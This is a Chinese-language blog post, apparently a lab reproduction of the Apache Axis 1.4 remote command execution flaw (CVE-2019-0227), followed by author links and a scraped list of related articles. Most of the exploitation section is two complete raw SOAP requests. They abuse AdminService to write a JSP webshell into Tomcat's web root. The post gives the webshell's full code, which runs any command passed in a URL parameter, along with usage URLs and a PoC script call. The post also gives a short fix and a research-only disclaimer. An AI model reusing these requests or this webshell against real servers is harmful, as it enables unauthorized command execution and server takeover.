Axis1.4 远程命令执行(CVE-2019-0227)复现
一、漏洞介绍
漏洞本质是管理员对AdminService的配置错误。当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。
二、影响版本
Axis <=1.4
三、环境准备
方法一:
https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录拷贝到tomcat的webapps目录下
https://mvnrepository.com/search?q=freemarker-2.3.28.jar
下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下
启动tomcat后访问http://localhost:8080/axis
这个需要WEB-INF/web.xml 去掉AdminServlet注释(这个只能本地复现)
如果需要远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd
需要将文件修改enableRemoteAdmin将false改为true
这样允许远程admin服务
最后重启tomcat,这个很关键。
方法二:
本次已经将环境打包(后台回复"axis"获取环境和POC)
下载下下来的环境包,上面要求环境都配置好了。
直接解压放在tomcat/webapps下面,启动tomcat访问http://localhost:8080/axis
四、漏洞复现
方法一、手工写入shell
通过services/AdminService 服务部署一个webservice ,webservice开启一个写文件服务。写入的文件路径是…/webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。
原始数据包
POST /axis/services/AdminService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 1061<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body><ns1:deploymentxmlns="http://xml.apache.org/axis/wsdd/"xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="RandomService" provider="java:RPC"><requestFlow><handler type="RandomLog"/></requestFlow><ns1:parameter name="className" value="java.util.Random"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service><handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler>
</ns1:deployment></soapenv:Body>
</soapenv:Envelope>
注意写入shell位置,也可以修改比如manager,建议在ROOT下来。
调用上一步创建的恶意webservice 写入webshell
原始数据包
POST /axis/services/RandomService HTTP/1.1
Host: 192.168.0.104:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 876<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body><api:mainsoapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]></api:in0></api:main></soapenv:Body>
</soapenv:Envelope>
返回时500没关系,我们查看一下ROOT下面是否写入shell文件
ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。
核心还是写的CMD码
接下来访问一下shell
http://192.168.0.104:8080/shell.jsp
执行一下命令
http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观
检查代码
这么清晰查看网络信息
方法二、poc脚本写入shell
python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/
执行成功
访问shell路径:http://192.168.0.104:8080/axis/…/shell.jsp
因为第二次写了一次,这个是在第一次的基础上追加内容。
http://192.168.0.104:8080/shell.jsp?c=id
成功执行
五、漏洞修复
关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.
<servlet-mapping><servlet-name>AdminServlet</servlet-name><url-pattern>/servlet/AdminServlet</url-pattern></servlet-mapping>
参考:
https://www.secpulse.com/archives/108937.html
https://github.com/cwkiller/Axis-1.4-RCE-Poc
后台回复"axis"获取环境和POC
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400
Axis1.4 远程命令执行(CVE-2019-0227)复现相关推荐
- ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现
php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...
- Jenkins远程命令执行漏洞(CVE-2018-1000861复现)
1. 漏洞描述 Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法.由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法 ...
- maccms 远程命令执行(CVE-2017-17733)复现
一.漏洞简介 魅魔电影程序(Maccms PHP)是一套采用PHP/MySQL数据库运行的全新且完善的强大视频电影系统.完美支持众多视频网站和高清播放器(youku,tudou,qvod,gvod等) ...
- flexpaper php 代码,FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- exim远程命令执行漏洞分析(cve-2019-10149)
0x00 前言 在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞.这里RCE指的是远程命令执行(Remote Comma ...
- 【注意】关于Redis存在远程命令执行漏洞的安全公告
点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台 安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...
- rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警
报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...
- 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞
[漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...
- 详述WebLogic反序列化远程命令执行漏洞的处理过程,云和恩墨技术通讯精选
各位亲爱的用户/读者朋友们: 为了及时共享行业案例,通告共性问题,达成知识共享和提前预防,我们整理和编辑了<云和恩墨技术通讯>(5月刊),通过对过去一段时间的知识回顾和故障归纳,以期提供有 ...
最新文章
- NYOJ 20 吝啬的国度 广度优先搜索
- Android Fragment中嵌套Fragment,不显示view
- python 导入模型h20_【机器学习】模型融合方法概述
- CVPR 2020 《12-in-1: Multi-Task Vision and Language Representation Learning》论文笔记
- 关于避免对toString()结果进行解析或基于逻辑的美德
- 卷积神经网络-目标探测
- C#委托和事件(3)
- 转:Windows下WSH/JS实现SVN服务器钩子脚本阻止提交空日志信息和垃圾文件
- 数据库操作 linq php,.NET_asp.net使用LINQ to SQL连接数据库及SQL操作语句用法分析,本文实例讲述了asp.net使用LINQ t - phpStudy...
- diff和pacth
- python爬取拉勾网职位信息_Python爬虫:拉勾网Python的职位信息爬取
- McAfee迈克菲杀毒软件企业版8.8.13-McAfee VirusScan Enterprise8.8 百度云
- MediaCreationTool.bat操作手册
- 2021年JAVA面试题~集合篇附带答案
- 阿里云服务器设置安全组最新图文教程 新手必看!
- word中脚注和尾注的处理
- 控制极限(UCL,LCL) 和规格极限(USL,LSL)
- Java正则表达式通过User-Agent获取IOS版本
- PCB设计--AD18导入二维码避坑指南
- 金科科技学院计算机系统,金陵科技学院教务管理系统登录入口二本公办院校
热门文章
- linux下编译和安装log4cxx,Linux下log4cxx的安装使用
- openwrt 格式化_OPENWRT路由固件入门食用教程S2:磁盘挂载及分区,网络共享,脱机下载。...
- 中国科学院计算机技术研究院,赵屹(中国科学院计算技术研究所研究员)_百度百科...
- 计算机视觉论文文献综述怎么找,如何有效在知网寻找属于自己课题的文献综述...
- PD芯片程序烧录方法
- Nordic芯片怎样烧录UICR
- android 4.4官方下载,安卓系统电脑版-android x86 4.4 iso下载官方最新版【pc版】-西西软件下载...
- JavaWeb - 小米商城:登录与退出
- 有道云笔记不同步_不怕误同步 有道云笔记历史记录教程
- 单页双曲面 matlab,在matlab中画函数(x^2+y^2)/9-z^2/4=1的旋转单叶双曲面